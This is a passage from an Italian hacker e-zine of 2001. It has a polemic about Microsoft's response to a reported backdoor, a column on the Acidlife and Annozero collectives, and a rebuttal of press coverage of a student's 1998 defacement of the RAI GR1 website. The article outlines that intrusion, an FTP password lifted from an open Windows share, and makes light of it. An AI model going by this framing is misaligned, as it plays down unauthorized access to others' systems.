PROBLEMA E LA SOLUZIONE Come nella migliore delle tradizioni, l'ultima scena dell'ultimo atto si intitola come l'atto stesso, e come la tragedia. Dice il solito Russ Cooper: "If we're going to yell "Fire", then there should at least be a real fire to point at." E alla fine il fuoco su cui puntare il dito lo abbiamo trovato. Un fuoco nascosto, eppure devastantemente largo. E per questo bisognerebbe ringraziare doppiamente episodi come questo che ci consentono di vederlo e di iniziare quanto meno a portare qualche secchio d'acqua. Ovviamente il problema non e` la lettura dei file .asp (che, pero`, nonostante tutta questa manfrina, E` un problema: quell'exploit funziona, eccome). Il problema non e` nemmeno il buffer overflow (che, nonostante tutte le stupidaggini dette in proposito da Cooper, c'e`, si sente, ed e` pericoloso). Il problema non e` nemmeno il fatto che tutto questo succeda in una DLL inserita come backdoor all'interno di un prodotto che e` uno standard industriale indiscusso nel mondo non UNIX. Dice RFP: "It is not the vehicle that concerns me; it is not even the destination...it is the journey itself." In altre parole, l'aspetto preoccupante della vicenda non e` tanto il problema (o i problemi) in se`, quanto la reazione di Microsoft, che dimostra che la societa` di Redmond ha il CORAGGIO, la CAPACITA` e I MEZZI per creare una situazione del genere, per ammetterla (erroneamente?) in un certo istante e per poi riuscire ad OCCULTARLA successivamente. Chi ha sbagliato nell'ammettere questo problema? Chi ha deciso che esso doveva venir negato a tutti i livelli da un certo istante in poi? (mamma mia, "Deny Everything"... sembra X-Files...) Sbalordisce la crudezza del contrattacco. Sbalordisce la facilita` con cui Microsoft ha girato la frittata, finendo per far esclamare a Ivan Arce', nel coro dell'atto II: "Excuse me if i'm being rude, but i'm shocked by the fact that our company is being questioned because we found a bug." Perche` se il nostro lavoro e`, ed e` sempre stato, garantire la sicurezza dell'informazione, non v'e` dubbio che questo lavoro passi anche per (e SOPRATUTTO per) l'esame minuzioso del software, l'analisi della qualita` dei prodotti, e la certificazione indipendente della loro sicurezza. Non si tratta di mettere "sotto accusa" il creatore del software, ma piuttosto di aiutarlo a migliorare e correggere il suo prodotto. Ma se proprio si deve parlare di responsabilita`, direi che un bug di sicurezza e` in generale responsabilita` di chi ha creato il prodotto, non di chi lo ha esaminato (quando trovo uno yoghurt scaduto al supermercato, mi lamento con il supermercato, non e` il supermercato che si lamenta con me perche` ho trovato un prodotto scaduto...). Che un produttore di software si senta OFFESO da questo, e` un fatto di per se` abbastanza nuovo (di solito programmatori con meno considerazione di se` si limitano a ringraziare lo scopritore e a fixare il baco). Che un produttore accusi o faccia mettere sotto accusa chi ha trovato il baco, e` ancor piu` raro. Direi che il numero di volte che e` sorto un casino di proporzioni epiche come questo si conta pero` sulla punta di un dito. Chiediamoci allora il MOTIVO di tutto cio`. Di questa reazione SCOMPOSTA della compagnia. Ed il motivo e` semplice. Un bug di sicurezza capita tutti i giorni, ma questa, agli occhi di chiunque, e` una cosa ben diversa. Tra un bug e una backdoor c'e` la stessa distanza che tra omicidio colposo e omicidio premeditato. Un bug e` una tragica fatalita`. Una backdoor e` una spaventosa e subdola violenza. Una backdoor con una password del genere e` quanto di piu` imbecille, insensato, e ridicolo sulla scena dell'informatica si sia visto da un bel pezzo. In questa tragicommedia abbiamo visto molte cose che avremmo preferito non vedere. Abbiamo visto insulti piu` o meno velati piovere per distogliere l'attenzione da cose serie. Abbiamo visto degli squallidi giochi di parole nati solo per confondere le idee e le acque. Abbiamo visto un balletto di dichiarazioni contrastanti indegno non dico di una software house e del suo dipartimento di sicurezza informatica, ma indegno persino del peggior politico democristiano della storia della nostra sconquassata democrazia parlamentare. Abbiamo anche visto dove puo` portare l'impreparazione o la preparazione approssimativa. Abbiamo visto quale livello di conoscenza un certo modo di fare informatica ambisce a distribuire al volgo. E invero, fino a quando la cosa che la gente notera` di piu` in un sistema informatico sono i menu` che compaiono in trasparenza con l'alpha channel (la caratteristica invero piu` notevole di Windows 2000), questo tipo di politica industriale avra` campo libero e partita sostanzialmente vinta. Ma abbiamo anche visto un'altra cosa. Che per mettere in crisi tutti gli agenti Smith di questo mondo esiste un'arma piu` pericolosa di un fucile, piu` dannosa di una testata atomica. La conoscenza. La nostra capacita` di discernere, di analizzare e di criticare (che e` l'unica cosa che ci distingue, per ora, dagli elaboratori elettronici di cui ci occupiamo) e` l'unica arma che abbiamo, e l'esempio di RFP ci dimostra chiaramente quanto pericolosa possa essere. Quante risorse possa mobilitare per fermarci. La conoscenza e` potere. Anche i soldi sono potere. Noi abbiamo la conoscenza. Loro hanno i soldi. E` uno scontro impari? Sicuramente. I soldi si accumulano in poche ore. La conoscenza si accumula in lunghi e faticosi anni. I soldi sono transitori. La conoscenza e` eterna. Non c'e` nulla che non possiamo conoscere (basta che qualcuno abbia la pazienza di insegnarcelo). Ci sono cose che non si possono comprare (per quanti soldi possano mettere sul piatto). Ad esempio noi stessi. Keep fighting. ============================================================================== --------------------------------[ EOF 2/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-030100644000175000017500000002144107355704712012633 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 3 di 18 ]-------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ ACiDLiFE -----[ [deletia] - shalom http://www.acidlife.com - http://www.annozero.org --[ ACiDZER0 [deletia] Aria sempre piu` irrespirabile. Un senso opprimente di soffocamento. Provo a squadernare la storia su di un vecchio tavolo in legno, tarlato. Dispiego piccoli rettangoli di carta e plastica l'uno accanto all'altro, su piu` file. Osservo reggendomi la testa con la mano destra, poi l'appoggio sopra la storia ed esco per un caffe`. Ok, parliamo di spazio. Il mio corpo si muove nello spazio. Una volta si muoveva libero nello spazio, ora no. Ora il mio corpo e` libero di impugnare denaro per pagare il proprio muoversi nello spazio. Millecinque di caffe`. Mi muovo sulle mie gambe, percorro strade, attraverso piazze, infilo vicoli su vicoli cosi`, per arrivare a sera. Arrivo a sera dopo qualche chilometro e ore di cammino. Di solito e` lei ad arrivare da me ma oggi proprio non avevo voglia di aspettarla. Ero ansioso. Ho passato la giornata a produrre, diligentemente ho anche consumato, con moderazione. Ora non mi resta che crepare, magari consumando ancora un po', almeno quello che mi resta. Sollevo la mia testa dalla storia e pulisco con la manica del maglione la chiazza di bava che ha imbrattato almeno mezzo XX secolo. Kristo. Sono sempre piu` incuriosito dall'assurdita` di quello che mi circonda. Ho trasformato negli anni un po' della mia rabbia in curiosita`, quel tanto che basta per imparare a cercare quella splendida e lucente mazza con cui spaccare tutto. Spalanco gli occhi di fronte a quelle cantine in cui l'umanita` occidentale si sta cacciando. Ricordano molto bunker antiatomici, quelli belli pero`, con provviste e ogni genere di comodita`, soprattutto quelle inutili. Dopo aver perso la voglia di sorridere, dopo aver imparato a traslare il proprio io dentro una stupidissima scatola parlante, l'umanita` occidentale (d'ora in poi l'uomo, la gente, i cadaveri) sta imparando ad apprezzare i benefici dell'isolamento. A che serve mettersi in discussione con qualcuno quando la stupidissima scatola parlante puo` dire a tutti le stesse cose? Perche` rischiare ogni genere di pericolo fuori dal bunker, all'aperto, per sentire i cazzi altrui? In fondo la realta` e` semplicemente un attimo che corre tra una fottutissima nascita e una fottutissima morte. E` quello splendido momento che permette di consumare e produrre prima di crepare. Negli anni, l'ineluttabilita` di una vita produttiva, la folgorante paura dell'universo, il totale buco nero dell'esistenza, hanno convinto l'uomo all'assurdita` del ritrovo e dello scambio. All'assurdita` del Sogno e del Piacere, del Regalo e dell'Amore. Quella splendida macchina di morte che e` ora il nostro mondo e` riuscita nel terribile intento di creare mostri decerebrati dediti al mantenimento del sistema stesso. Il nostro sistema e` ora una complessa e potente MACCHINA elaboratrice di realta` e succhiatrice di sangue, merda e succhi gastrici. Gli studiosi la chiamano pensiero unico. In questo carnaio maleodorante, nell'enormita` della macchina, i grandi e stolti ingegneri vanno a caccia di bachi. Li vogliono tutti sotto controllo questi bachi, tutti in casa o in luoghi adibiti alla raccolta. Tutti controllati, schedati, catalogati. Ci sono riusciti, in casa ci tengono. Per premio ci hanno dato un giochino, una bella scatola luminosa che parla come l'altra ma e` molto piu intelligente. Con quella scatola i cervelli fritti comprano, i bachi studiano, apprendono si conoscono. Cosi`, privati dello spazio, rinchiusi e controllati, i bachi del sistema si offrono come esempio. Si donano al mondo per quello che sono e che vogliono essere: donne e uomini liberi. Prima regola del fight club e` che non si parla mai del fight club. Acidlife e` uno spazio libero, free e opensource. E' un errore di sistema, un luogo dove la creativita` e lo spirito sono gratuiti e disponibili. Acidlife vuole essere una testimonianza attiva di quello che NON e` l'umanita`. Acidlife non e` un'etichetta, non e` profitto, pubblicita` o costrizione. Acidlife ha vissuto esperienze differenti nei suoi due anni e mezzo di vita. Partita come esperienza di un singolo, col tempo si e` allargata coinvolgendo decine di persone di ogni eta` e estrazione sociale. Amicizie, incontri, traslochi e amori hanno cementato il percorso. Un collante emotivo fondamentale. Per noi, dediti alla liberta` del Sogno, la forza della condivisione e` il motore principale per tutte le attivita` che mettiamo in gioco. Ora le cose cominciano in qualche modo a quagliare. L'estate scorsa si e` chiuso un ciclo vitale del percorso di acidlife. Dopo un periodo di collettivizzazione, di gruppi di lavoro e strutture articolate, le forze, le idee e gli stimoli sono andati sempre piu` annullandosi. Usciamo da mesi di riflessioni che porteranno a marzo verso la nuova acidlife. Acidlife e` attualmente mantenuta con un piccolo obolo di due dozzine di persone. Conta un centinaio di iscritti alle mailinglist e una cinquantinata di mail sparse per l'italia. Lo scopo e` essere uno stimolo e un'occasione di creativita`. Uno spazio web disponibile affinche` idee, progetti, servizi siano liberi di nascere e affrontare il mondo. Il sito varia nel tempo, a seconda degli stimoli e delle idee di chi ha voglia di lavorarci. Attualmente la base di partenza per il nostro nuovo scampolo di vita e` una miniredazione, un piccolo manipolo di flashari, parecchie menti illuminate e un network di siti e realta` (dimensions) sviluppatesi attorno ad acidlife. Il resto e` il nostro futuro e le nostre idee. Obiettivo: tanti amici e alleati, perche` uniti si vince. --[ L'iNF0RMAZi0NE DEVE ESSERE LiBERA shalom Annozero nasce come una costola di Acidlife, tanto che fino a poco tempo fa era un suo dominio di terzo livello ed ora fa parte del suo network in fieri. Muove i suoi primi passi dalla volonta` di cogliere una sensibilita` informatica, profondamente politica, che si riconosce in una semplicissima espressione: il sapere non deve avere barriere. Arrivano la prima homepage e i primi scritti, poi arriva "Hacker in your mind", con lo scopo di recuperare l'etimologia del termine hacker, persona esasperatamente curiosa che "mette le mani" (hack) e costruisce. Infine la sterzata. Verso il software libero. Una scelta, quella di abbracciare argomenti strettamente correlati al Progetto Gnu, motivata dal fatto che il software libero attualmente rappresenta in miglior esempio spontaneo ed eterogeneo della vera natura dell'essere informatico. Recupera le radici prime dell'informatica, quelle attecchite alla fine degli anni Cinquanta al Tmrc (Tech Model Railroad Club) del Mit secondo cui "il software non era forse un dono al mondo, qualcosa che era gia` una ricompensa? [...]. Scrivere un buon programma significa costruire una comunita` e non produrre una merce. In ogni caso, nessuno dovrebbe mai pagare per il software: l'informazione dev'essere libera" ("Hackers", Steven Levy). Oggi, quelle radici vengono riscoperte attraverso concetti che non sono per niente nuovi: sorgenti al posto di binari, rilascio dei codici, libera redistribuzione, condivisione delle conoscenze. E allora perche` la necessita` di recuperare questi valori, quarant'anni dopo i Tx-0 e il Pdp-1? Perche` la logica commerciale ha introdotto lucchetti, eseguibili che si cliccano ma non si studiano, licenze monouso. Ha avviato politiche che limitano la veicolazione delle conoscenze - introduzione di brevetti, sfruttamento commerciale del diritto d'autore -, trasformato illeciti civili in reati penali, inasprito le sanzioni trasformandole in condanne. Annozero non parlera` di Linux e del software libero da un punto di vista tecnico. Ha piuttosto come scopo quello di tenere d'occhio quello che accade a livello politico e legislativo. Di farlo con un minimo di puntualita` e di riferire i cambiamenti che influenzano, positivamente o negativamente, la diffusione dell'informatica nella societa` civile. Non abbraccia toni da guerra civile, ma semplicemente riferisce. Perche` non occorre urlare la propria battaglia. E' piu` proficuo studiare i fatti, approfondirli, per avere una risposta - o per anticiparla - di fronte ad attacchi il cui unico obiettivo e` imbrigliare cio` che non di deve imbrigliare: la circolazione del sapere, sotto forma di byte o parole che sia. ============================================================================== --------------------------------[ EOF 3/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-040100644000175000017500000015616607355704712012651 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 4 di 28 ]-------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ TRiBUT0 A SYSTEM D0WN: iL CAS0 MCKRAK -----[ InfectedMachine [ NDR: questo articolo e` stato originariamente scritto per il numero 5 di System Down, ma viene pubblicato qui poiche` per il momento l'uscita di questo numero speciale/commemorativo e` stata annullata. BFi ringrazia tutta la redazione di SD, in particolare |TsUnAmI|, InfectedMachine e JackMcKrak, per avere concesso la pubblicazione del seguente testo e per l'ottimo lavoro fatto con i passati numeri della rivista. Senza l'esempio di SD BFi non sarebbe mai esistita. Grazie fratelli! ;) ] Signore e signori, il 4 aprile 2000 McKrak e' stato prosciolto da OGNI accusa perche' il fatto non costituisce reato. Che cosa dire? Sono contento per il sig. Jack McKrak, come potrei non esserlo? Dopo 2 anni questa storia si e' conclusa nel migliore dei modi quindi brindo a te alzando un bicchiere di vino alla tua salute. Questo mio articolo e' un'accusa nei confronti della stampa italiana e di come questa possa alterare in maniera GRAVE E PESANTE i veri contenuti di una storia. Riportero' i nomi dei giornali, se erano locali o nazionali e la loro data di uscita in modo che qualunque persona stia leggendo queste righe possa verificare il testo che riporto. Conosco McKrak PERSONALMENTE e so benissimo come si sono svolti i fatti legati al GR1, alla RAI e all'arresto di McKrak; in questo articolo sono presenti nell'ordine: 1) Introduzione per spiegare da occhio ESTERNO come si sono svolti i fatti in generale; 2) Articoli dei giornali (nazionali e regionali) che ho raccolto e commentato. Gli articoli dei giornali sono riportati in maniera integrale senza tagli o modifiche da parte mia o di terzi. Il testo scritto di seguito ad una { sono i miei commenti personali e le modifiche per farvi capire come sono andate veramente le cose. Ultima nota: Se qualcuno di voi che legge queste righe ha ritagliato, conservato o si ricorda semplicemente altri articoli di giornale (basta anche il titolo del giornale e la data) riguardanti il "caso McKrak" me lo faccia sapere in mail che provvedero' a reperirli per mio conto e fare un upgrade dell'articolo :) COME SI SONO SVOLTI I FATTI IN GENERALE: Un bel pomeriggio, la polizia italiana delle telecomunicazioni (alias NOPT) si presenta a casa di McKrak con l'intento di: 1) Perquisire casa di McKrak; 2) Interrogarlo sui fatti riguardanti l'attacco ai server Rai; 3) Schedarlo in questura a Rimini. McKrak torna a casa sua verso le 18.00 di sera trovandosi la casa "piena" di poliziotti intenti a perquisire vari cassetti, scaffali e scrivanie e felicissimi di accoglierlo dopo aver aspettato tutto il pomeriggio li'. Il ragazzo viene interrogato SENZA ALCUN AVVOCATO (se non l'ha voluto McKrak o non e' stato chiamato da altri non ci e' dato di saperlo per ora) per tre ore consecutive in salotto, poi i poliziotti lo conducono a Rimini in questura per le procedure di schedatura del caso: foto segnaletiche e simili. Fine della storia. -- RESTO DEL CARLINO (CRONACA NAZIONALE) Martedi' 11 Agosto 1998 "Uno studente universitario di Forli' viola il sito del GR1 e lancia insulti a Bill Gates e Microsoft" "PIRATA INFORMATICO ALL'ARREMBAGGIO RAI" "Una bravata pericolosa. Identificato e denunciato per interruzione di servizio pubblico. Rischia otto anni" { primo errore dei giornalisti: Identificato e denunciato (?): { innanzitutto non e' STATO identificato, ma si E' identificato da solo nel { senso che si e' denunciato alle autorita'; secondo ci sarebbe da discutere { sull'interruzione di pubblico servizio perche' -e qui ho sentito parlarne { l'avvocato di McKrak, la RAI non ha messo fra i suoi servizi pubblici quello { del GR su Internet quindi in maniera del tutto teorica (non sono un esperto { di legge) non ha interrotto nulla... FORLI' - Appassionato di informatica e terribilmente attratto dai sistemi di un computer. Che per lui, ormai, non ha piu' segreti. Ma il ventenne, di professione pirata informatico, { ????? Professione pirata informatico???? { Salve lei cosa fa? Mah io sono Ingegnere delle telecomunicazioni e lei? Mah { guardi io sono un pirata informatico... { No dico, scherziamo? E poi si lamentano quando la stampa sbatte i mostri in { prima pagina, gia dopo le prime 6-7 righe di articolo lo dipingono come { un tizio che e' meglio evitare... che un mese fa si e' inserito nel sito Internet della Rai, ha lasciato troppe tracce dietro di se'. E grazie a queste la polizia l'ha pizzicato. { ahahahahahhahahahahahahha. Ha lasciato troppe tracce? Volete sapere come { sono andate le cose? McKrak e' entrato nei loro computer e gli ha cambiato { il GR di quella mattina; i signori che cambiano i GR di giorno in giorno non { se ne sono manco accorti tant'e' che il giorno dopo il file incriminato era { stato messo COSI' COM'ERA nell'archivio dei GR Rai. Seconda cosa McKrak si { e' denunciato!!! Non e' grazie a mistici Sniffer o Cabalistici sistemi di { tracciamento che la polizia lo ha beccato... alla polizia e' arrivata una { semplice mail (poi trattero' anche di questo) che diceva chi era stato il { pirata della Rai, come aveva fatto e dove abitava... e i giornalisti fanno { fare bella figura alle forze dell'ordine eh? No, non ci sto. { Diciamo VERAMENTE come sono andate le cose e sfido chiunque a contestarmi { questa cosa... Il 10 luglio scorso un giovane studente universitario della provincia di Forli si e' divertito a violare il sito del Gr1 delle ore 13.00: ha sostituito l'audio del giornale radio e ha lanciato messaggi contro Bill Gates, la Microsoft e il nuovo sistema operativo Windows 98. I suoi insulti sono rimasti in Rete fino al giorno dopo. { Altro errore. I suoi "insulti" sono rimasti in Rete per ALMENO 3-4 giorni e { dico almeno... Ora il giovane hacker, che e' stato rintracciato esattamente ad un mese dalla 'bravata' (cosi' la definiscono gli investigatori), rischia fino a otto anni di carcere. { mmh, direi che e' piu' probabile un 1-2 anni che si ridurranno ancora della { meta' perche' e' stato il suo primo reato ed ancora una volta per la { condizionale e per il fatto che si e' denunciato alle autorita' facendo un { po' di conti non prendera' piu' di 3-4 mesi con la condizionale cioe' gli si { sporca "solo" il suo curriculum ;) Su di lui pesa la denuncia della Rai per violazione di sistema informatico e conseguente interruzione del servizio pubblico. In casi analoghi le aziende, in genere, non sporgono denuncia. Soprattutto quando si tratta di banche o simili: se si racconta che il sistema di sicurezza e' stato violato, i clienti potrebbero allarmarsi e rivolgersi altrove. { pienamente d'accordo La Rai, invece, a quanto dicono i tecnici della redazione Internet, ha preferito questa via per due ragioni: intanto perche' si tratta di un servizio pubblico, { i cui accessi si sono moltiplicati dopo questa faccenda e dopo { la pubblicita' che grazie a questo caso si sono fatti e poi perche' una denuncia puo' servire a far diminuire questi episodi, piuttosto frequenti. { gia, e poi se sui giornali scriviamo cose del tipo "rischia otto anni" ed { altre "alterazioni" della verita' (badare che non ho detto bugie) e' facile { mettere paura ai ragazzini alla loro prima connessione - Orwell 1984 vi { ricorda niente? La polizia e' riuscita a identificare il giovane proprio grazie alle tracce che si e' lasciato dietro, seguendo a ritroso tutti i suoi passaggi rimasti registrati nel computer della Rai. { vedi sopra. Certo non dubito assolutamente (e sono serio) del fatto che il { nopt riuscisse a tracciare McKrak (che dal canto suo non aveva usato delle { grandi precauzioni), ma gli si e' agevolato notevolmente il lavoro quando { hanno ricevuto un'auto-denuncia :)) Ma il lavoro e' stato piuttosto complesso. { ahahhahahahahh, con un'auto-denuncia...ehh un casino complesso :)) Il giovane, infatti, ha utilizzato l'abbonamento dell'ordine degli ingegneri (lui studia ingegneria) di Mantova. { e questo che cavolo c'entra? Se io studio medicina devo hackare { dall'abbonamento dei medici??? E poi McKrak abita in provincia di Forli' e { quindi perche' paragonare il fatto che studia ingegneria con il fatto che ha { usato l'abbonamento degli ingegneri? Se usa quello degli spazzini di Roma { cos'e' dicevano "lui nel tempo libero spazza le strade?" E questo, in un primo momento, ha sviato gli investigatori. Soltanto dopo sono riusciti a rintracciarlo e lui ha ammesso di aver violato solo <>. { e ancora... "Soltanto dopo sono riusciti a rintracciarlo e lui ha ammesso.. { ha ammesso PRIMA che gli andassero in casa in quella e-mail che ha mandato { alla polizia non DOPO Nella perquisizione della casa sono stati sequestrati due personal computer, programmi e documentazione sulle tecniche di intrusione nei sistemi informatici e telematici. { Nota: hanno portato via: 2 computer (si), programmi (2 cd contenenti Myth { e un altro gioco), documentazione (manuale dell'hacking di sir hackalot { targato '96 se non mi sbaglio), piu' svariati floppy, un registratore a { microcassette con sopra registrato McKrak e dei suoi amici che giocavano a { Quake o Doom (non ricordo :)) e l'agenda elettronica del fratello di McKrak Il giovane per introdursi nel sito ha usato tranquillamente la password d'accesso, trovata chissa' dove. { a dir la verita' e' entrato PRIMA attraverso le risorse condivise di Windows { in un computer della rete della RAI (che ovviamente era pienamente condiviso { e privo di qualunque password) dove ha preso la pass per poter { uploadare via ftp il file audio. Quindi niente permessi di root, niente { cancellazione di parti di hd o simili. Nessun attacco diretto al sistema di sicurezza, e' entrato senza problemi dalla porta principale. Del resto esistono dei programmi appositi: il piu' famoso e' quello degli 'sniffatori' che ti fa trovare la parola chiave giusta. { una cortesia al mondo della Rete. Qualcuno mi puo' passare questo programma { che mi potrebbe tornare utile? :)) Eh si', il famoso programma 'sniffatore' { ok, alcuni di voi potrebbero dire:"guarda infe che si sta riferendo allo { sniffer semplice semplice". Ah si? Ma dai...Allora che e' sta roba "ti fa { trovare la parola chiave giusta"? Scommetto il mio mouse e il tappetino di { paperino che c'e' sotto che non avevano idea di cosa stessero scrivendo... Ma, allora, non servono i programmi di protezione? { beh si' se c'e' una persona intelligente a configurarli che non lascia le { risorse di windows condivise senza password come la mia stampante ;)) Forse si', ma piu' sono sofisticati piu' i pirati hanno la tentazione di distruggerli. { sarebbe meglio dire: piu' sono sofisticati piu' gli hacker cercano di { capirne le loro imperfezioni...altrimenti i bug come vengono fuori? Da { sotto il cavolo con i bambini? -- Ok il primo giornale e' fatto, ma le cose belle non sono finite. Per quanto riguarda gli altri articoli citero' soltanto cose non dette precedentemente (o almeno ci provero' ;)) quindi se trovate qualcosa del tipo "rischia otto anni di carcere" senza commenti non e' perche' a quel giornale do ragione, ma perche' e' inutile sottolineare due volte la stessa cosa. -- RESTO DEL CARLINO (CRONACA LOCALE) Martedi' 11 Agosto 1998 "Studente gioca a fare il pirata informatico: scoperto e denunciato dalla polizia" "RISCHIA OTTO ANNI PER UNA BRAVATA" "Ha violato il sito della Rai lanciando un messaggio contro Bill Gates e il nuovo Windows '98" { "...gioca a fare il pirata informatico..." { "...scoperto e denunciato..." { "...rischia otto anni..." { credo che i commenti siano superflui; a questo punto credo abbiate gia { capito com'e' andata la faccenda... Un giovane di 22 anni, della provincia di Forli', piu' che bravo col computer, studente di ingegneria: questo l'identikit - abbastanza vago - del pirata informatico che qualche settimana fa ha violato uno dei siti Internet di mamma Rai. Non ha combinato grandi guai: si e' <> a sostituire un documento audio, quello del giornale radio delle 13 del 10 luglio. Al suo posto, una serie di pesanti critiche a Bill Gates, alla Microsoft e al nuovo Windows 98: un attacco all'<> (cosi' lo definiva l'hacker), { ah si'? Io conosco McKrak da una vita, ma giuro su quello che volete che non { l'ho mai sentito definire Bill Gates <> proprio nel giorno in cui il nuovo sistema operativo veniva lanciato anche in Italia. Sicuramente se ne sono accorti in pochi, perche' il messaggio anti-Gates e' rimasto sulla rete solo per un giorno. { ehm... Ma non e' sfuggito ai responsabili del server Rai, che hanno fatto entrare in azione l'ufficio della polizia specializzato nella lotta contro la criminalita' informatica, { a dir tutta la verita' mi sa che se non gli arrivava la notizia ai { "responsabili del server Rai" quel file era ancora li... quando dico { "mi sa che se non gli arrivava la notizia" intendo dire che McKrak dopo { aver eseguito l'attacco alla Rai ha comunicato ad alcune testate { giornalistiche (in maniera anonima si intende) e all'ansa che c'era qualcosa { che non andava nel file del Giornale Radio della Rai... come ho detto prima { il file incriminato il giorno dopo era passato negli archivi e scommetto che { li sarebbe rimasto diversi giorni e mesi a venire... infatti, i precedenti ci sono e sono allarmanti, anche nel nostro paese, come le incursioni di un anno fa della <> nei server dell'agenzia di stampa Adnkronos, per distruggere documenti e mettere in rete false notizie. In questo caso lo scenario sembra meno pericoloso. { dai mi cadi cosi'? Io preferivo qualcosa del tipo "tramite il server della { Rai, l'hacker ha poi preso il controllo di una base per il lancio di missili { nucleari tattici e si apprestava al lancio prima che un cecchino della { polizia gli inchiodasse la mano al muro con una balestra..." Il giovane hacker ha fatto una semplice bravata per dimostrare la sua abilita'. { e per dimostrare - riuscendoci - che in Italia sul fatto della sicurezza nei { sistemi telematici siamo a dir poco scarsi... Col computer se la cava sicuramente, visto che gli investigatori hanno penato non poco per ricostruire le sue tracce. Il lavoro si e' rivelato complesso poiche' gli elementi raccolti conducevano ad un abbonamento Internet dell'Ordine degli ingegneri di Mantova, che naturalmente era all'oscuro di tutto. Grazie ad una password dei tecnici del sito Rai il ragazzo aveva acquisito i privilegi di amministratore di sistema. { no, errore; aveva solo il permesso di scrittura sull'ftp Per la particolare competenza dimostrata e soprattutto per l'abilita' nel non lasciare tracce, { interrompo la vostra lettura per farvi notare una piccola ed intrigante { curiosita': l'articolo che state leggendo ora e' la cronaca locale del { "Resto del Carlino" ok? Il primo che avete letto e' invece il "Resto del { Carlino" cronaca Nazionale. Stessa data. Stesso giornale. E allora qualcuno { mi riesce a spiegare come mai nel Nazionale dicono: "La polizia e' riuscita { a identificare il giovane proprio grazie alle tracce che si e' lasciato { dietro" e qua invece "Per la particolare competenza dimostrata e soprattutto { per l'abilita' nel non lasciare tracce," ??? Cioe' non e' che sono due { giornali diversi dove in fondo ognuno scrive quel che vuole (non e' giusto { un discorso simile, ma lo capisco)... qui si parla dello stesso giornale lo { stesso giorno!!! { Ribadisco comunque il discorso: se non mi credete andate pure nella vostra { biblioteca di fiducia e chiedete le copie dei giornali. { Chiedero' comunque agli amici di Bfi di mettere online (magari sulla { webpages le jpeg scannerizzate dei giornali in modo che TUTTI possano vedere { che non racconto balle. e la conoscenza di informazioni sulla struttura della rete del sito Rai, { ??? Mica ci vogliono gli studi per uploadare un file sul ftp della Rai e' subito stato evidente, per gli investigatori, che non doveva trattarsi di un qualsiasi utente della rete. { anche perche' la maggior parte degli utenti della Rete non hacka le pagine { altrui... Il giovane ha ammesso le proprie responsabilita', ma sono in corso accertamenti per individuare eventuali complici. Il personale del nucleo investigativo informatico, su disposizione del procuratore aggiunto di Roma Italo Ormanni, ha perquisito l'appartamento dell'hacker e sequestrato due personal computer, programmi e documentazione sulle tecniche di intrusione. La marachella rischia comunque di avere pesanti conseguenze: la Rai ha deciso di denunciare il giovane per violazione di sistema informatico con interruzione di servizio pubblico, un reato per il quale il ragazzo rischia fino a otto anni di carcere. E pensare che, probabilmente Bill Gates, indaffarato com'e' a respingere le accuse dell'antitrust americano non si e' accorto di niente. { vabbeh io credo che l'articolo si concluda senza bisogno di commentare le { ultime due righe... prendiamola come una battuta della giornalista -- Non penserete mica che me la prenda solo con il "Resto del Carlino" spero... -- CORRIERE DI CESENA (LOCALE OVVIAMENTE) Martedi' 11 Agosto 1998 "Longiano Un 21enne genio ora rischia una pesante condanna" "PIRATA INFORMATICO" "Al posto del TG delle 13 messaggio anti Microsoft" "Entra nel sito internet Rai e lo modifica" Longiano - E' riuscito a violare il sito Internet della Rai, sostituendo il file audio del Gr1 con un suo messaggio: un comunicato contro la Microsoft, di critica al leader mondiale del software Bill Gates ed al nuovo sistema operativo Windows98. Gli uomini della polizia hanno impegnato quasi un mese per rintracciare questo abilissimo pirata informatico. {... E' un 21enne di Longiano. Un genio dell'informatica XXXXXXX XXXXX. { nome omesso per motivi di privacy :) Voleva fare solamente uno scherzo: una sfida al leader mondiale della progettistica per programmi computer. { Una sfida a Bill Gates? Allora doveva hackargli le sue macchine non quelle { della RAI... cos'e' per sfidare a duello il mio vicino di casa vado a { sfidare qualcuno in Giappone? Ha finito con il dimostrare ancora un volta che i sistemi computeristici sui quali ruotera' il nostro futuro non sono poi cosi' sicuri come si dice. { io avrei detto: "Ha finito con il dimostrare ancora un volta che gli { amministratori di sistema ai quali verra' affidato il compito di proteggere { i nostri sistemi computeristici non sono poi cosi' bravi come si dice" Grazie al Pentium super accessoriato { faceva anche il caffe? { E poi cos'e'... se aveva il mio 486dx2 con sopra una slackware non riusciva { a farlo ugualmente? vinto recentemente dal fratello minore (XXXXXXXX XXXXX, n. 1 alle olimpiadi nazionali di matematica di Cesenatico) il 21enne, studente di Ingegneria all'universita', e' riuscito tramite un abbonamento Internet dell'ordine degli Ingegneri di Mantova a rintracciare una password usata dai tecnici della Rai. Con quella aveva acquisito i privilegi di amministratore di sistema ed al posto del Tg delle 13, via computer ha irradiato ai visitatori del sito Rai il suo messaggio contro la Microsoft. Inquirenti di polizia specializzati in informatica { leggasi nopt hanno capito subito che ad agire doveva essere stato un genietto. Le indagini telematiche per rintracciarlo sono durate circa un mese. Poi la visita degli investigatori nella casa di Longiano, dove hanno sequestrato il computer. Il 21enne si e' giustificato dicendo di voler testare la propria abilita'. Una ragazzata, insomma, che pero' potrebbe costar cara. Per reati come questo la pena e' fino a 8 anni. -- -- TRAFILETTO DEL CORRIERE DI CESENA sempre Martedi' 11 Agosto 1998 "Inchiesta dal 13 di luglio" "AD AVVIARE LE INDAGINI E' STATO UN TECNICO GIORNALISTA DELLA RAI" LONGIANO - "L'uomo che puo' tutto vi prende in giro": questa la polemica che il giovane "pirata informatico" longianese ha lanciato il 10 luglio, utilizzando il sito Internet della Rai per il proprio messaggio contro Bill Gates e Microsoft. { L'uomo che puo' tutto vi prende in giro <- immagino siano conclusioni dei { giornalisti... { Qua di seguito arriva la parte bella :)) Il tutto e' stato scoperto il 13 luglio. Attraverso alcuni messaggi in E-Mail inviati alla segreteria di redazione del Giornale Radio Rai si avvertiva che l'edizione del Gr delle 13 di venerdi' 10 luglio aveva un solo ed unico messaggio, senza altre notizie, e che inoltre veniva fornito con la grafica della Rai. { Apparte questo "inoltre veniva fornito con la grafica della Rai" che non so { che voglia dire visto che McKrak ha sostituito un file sul loro computer { finalmente mi torna la ragione nelle mani: qua si dice 